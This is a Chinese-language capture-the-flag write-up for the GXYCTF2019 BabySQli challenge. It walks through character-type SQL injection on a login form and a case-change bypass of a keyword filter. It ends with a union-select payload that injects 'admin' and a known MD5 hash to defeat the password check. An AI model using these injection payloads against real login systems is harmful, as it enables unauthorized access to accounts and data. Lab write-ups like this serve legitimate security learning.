[GXYCTF2019]BabySQli

打开网站，看到是登陆页面，先尝试了一下万能密码，结果

回显出donthackme，那么大概率是过滤了一些字符，之后进行尝试，结果试出当用户名输入为单引号'时，出现了报错。

那么判断出为注入类型为字符型注入。

之后查看源代码，发现时post注入，那么我们来抓包。

send to repeter开始进行尝试。

在name注入

-1' order by 3

发现

应该是把order by 过滤了，那么我们把order改成Order尝试。发现可以回显出信息。

试出有三个字段值。那么开始判断用户所在位置。

尝试

-1' union select 'admin',2,3# //wrong user
-1' union select 1,'admin',3# //wrong pass

·那么用户所在位置应该是第二位。

之后就不知道怎么来写了，然后去看了一下大佬的代码，说有md5提示，这里时真没有找到，只好去看了一下源代码

if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}

确实有md5加密，那么我们之后使用payload

-1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

出现flag为

payload中c4ca4238a0b923820dcc509a6f75849b为1的MD5加密，

这里用到了联合查询的特点。当我们进行联合查询时，

所查询的数据不存在时，联合查询会构造一个虚拟的数据。这里用本地数据库进行验证。

当我们改变union select里面的值时表中值也会改变。

我们最后用的就是这个特性来绕过密码验证。